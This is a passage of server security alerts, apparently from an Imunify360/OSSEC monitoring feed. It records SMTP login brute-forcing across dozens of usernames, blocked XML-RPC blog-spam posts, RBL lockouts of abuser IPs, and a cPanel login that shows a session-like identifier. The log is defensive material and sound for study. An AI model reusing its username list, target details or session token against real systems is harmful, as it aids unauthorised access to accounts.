Jun 20 16:15:30 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:15:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:40398: 535 Incorrect authentication data (set_id=laposte)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a7298742d81756b95249d001e2fb29fc90a961be||Title:0x9a48e7a8||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:16:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:16:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:16:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249371&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781972202 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:16:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:26286: 535 Incorrect authentication data (set_id=wing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:16:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:33312: 535 Incorrect authentication data (set_id=zapros)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:16:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:42332: 535 Incorrect authentication data (set_id=wwwrun)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:16:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:16:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:45722: 535 Incorrect authentication data (set_id=mmartinez)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:16:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:29056: 535 Incorrect authentication data (set_id=cloudfront)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:16:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:12126: 535 Incorrect authentication data (set_id=alexgray)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:16:16:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973038&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781972200 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:17:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:17:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:36752: 535 Incorrect authentication data (set_id=locale)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:17:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:29978: 535 Incorrect authentication data (set_id=gba)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:17:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:32412: 535 Incorrect authentication data (set_id=krzysiek)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.158.70.101
country_id: 798549
domain: caissederetraites.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:16-18.185.158.70.101||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:17:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:14642: 535 Incorrect authentication data (set_id=pim)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:72b5dbf5a27989c14c743240049ee64897da53cb||Title:0x8fe5b8b6||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:17:38 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:17:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:2036: 535 Incorrect authentication data (set_id=mazari)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:17:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:23530: 535 Incorrect authentication data (set_id=rpc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:18:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63882: 535 Incorrect authentication data (set_id=jtrac)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:18:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:8302: 535 Incorrect authentication data (set_id=argos)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:18:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:47170: 535 Incorrect authentication data (set_id=harry)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:19:06 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:19:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:55816: 535 Incorrect authentication data (set_id=yoshioka)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:18:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49538: 535 Incorrect authentication data (set_id=sysaid)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:18:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:34696: 535 Incorrect authentication data (set_id=christel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:18:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:55126: 535 Incorrect authentication data (set_id=lps)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e6c4ae6b7b537e70cc592e76ed0f09dfaea538f4||Title:0x1a485b22||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:19:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59400: 535 Incorrect authentication data (set_id=dev.shop)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:19:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25058: 535 Incorrect authentication data (set_id=projetos)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:19:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:1788: 535 Incorrect authentication data (set_id=bomb)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:73dd4a78f186d6ae47163245fde4d5509a230888||Title:0x0705adbc||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:19:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:20:17 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:19:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:31318: 535 Incorrect authentication data (set_id=nayan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:19:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:10786: 535 Incorrect authentication data (set_id=testip)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:19:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:44648: 535 Incorrect authentication data (set_id=gaga)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:20:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:60966: 535 Incorrect authentication data (set_id=qwer1234)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:20:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:3304: 535 Incorrect authentication data (set_id=thomson)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3b661be2f09b320a24b89cf433c2e82393888f3c||Title:0x581462e5||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:20:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:20:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34752: 535 Incorrect authentication data (set_id=sehri)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:20:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:51188: 535 Incorrect authentication data (set_id=jcb)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:20:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:20:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:33782: 535 Incorrect authentication data (set_id=antony)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:20:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:55828: 535 Incorrect authentication data (set_id=lms)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:21:36 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:21:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:21:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:35646: 535 Incorrect authentication data (set_id=kohout)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:21:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32958: 535 Incorrect authentication data (set_id=kia)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.154
country_id: 3175395
description:
Jun 20 16:21:40 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:22:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19752: 535 Incorrect authentication data (set_id=fatma)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:21:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:23840: 535 Incorrect authentication data (set_id=narsil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:21:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:50108: 535 Incorrect authentication data (set_id=3201)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e34e147b41b118d148cfb34513a2464c671e2156||Title:0x047fa658||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:21:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16248: 535 Incorrect authentication data (set_id=gallery)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:21:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:41108: 535 Incorrect authentication data (set_id=fatma)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 206.232.2.250
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-21.206.232.2.250||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:22:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:56272: 535 Incorrect authentication data (set_id=annamarie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:22:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.170.40.67
country_id: 2363686
domain: emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/emt.tg/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:92bb3457a44c20831082f031da857677cbea9801||Title:0x6b45ca94||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:22:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:61970: 535 Incorrect authentication data (set_id=cdiaz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:22:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:64278: 535 Incorrect authentication data (set_id=winni)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:22:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17044: 535 Incorrect authentication data (set_id=samuel1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:22:35 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:22:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:53050: 535 Incorrect authentication data (set_id=demo44)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:23:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:22:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35486: 535 Incorrect authentication data (set_id=binbin)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:23:11 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:23:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:17308: 535 Incorrect authentication data (set_id=morales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:23:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:7798: 535 Incorrect authentication data (set_id=zhangjy)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:23:40 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:23:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:24392: 535 Incorrect authentication data (set_id=tiket)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:23:49 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:23:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:53504: 535 Incorrect authentication data (set_id=designer)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:23:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:65380: 535 Incorrect authentication data (set_id=lijian)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 206.232.1.118
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-23.206.232.1.118||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:raymondsama.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:07f628eeae2aed359d8f734744cd0b186ed69033||Title:0x75d925eb||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:23:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:30260: 535 Incorrect authentication data (set_id=cpu)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:24:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:24:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:9240: 535 Incorrect authentication data (set_id=peifong)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:25:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:24182: 535 Incorrect authentication data (set_id=vhs)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:24:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:2214: 535 Incorrect authentication data (set_id=777)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:24:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:8684: 535 Incorrect authentication data (set_id=pia)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:24:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:48254: 535 Incorrect authentication data (set_id=vhs)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:25:09 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:25:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:53320: 535 Incorrect authentication data (set_id=testmail1)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:raymondsama.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5f3c289183fc282dfd3aca9b6b34dfa0f2b85e2b||Title:0x2eaf7eab||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:24:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:64872: 535 Incorrect authentication data (set_id=s12)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:25:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:24210: 535 Incorrect authentication data (set_id=weixin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:25:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:19210: 535 Incorrect authentication data (set_id=ac\)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.201
country_id: 1269750
description:
Jun 20 16:25:52 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:26:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18302: 535 Incorrect authentication data (set_id=dreamtime)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:26:01 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 202.65.236.45
country_id: 1643084
description:
[2026-06-20 16:26:23 +0000] info [cpaneld] 202.65.236.45 NEW tqbcalqt:ovhHlcIwTGELGQkX address=202.65.236.45,app=cpaneld,creator=tqbcalqt,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:25:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:4428: 535 Incorrect authentication data (set_id=ma1)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:raymondsama.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:363ffd154fa7641bdd7731c9e0a3aefbe6547ebd||Title:0x499e86a9||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:25:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:45666: 535 Incorrect authentication data (set_id=mcollins)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
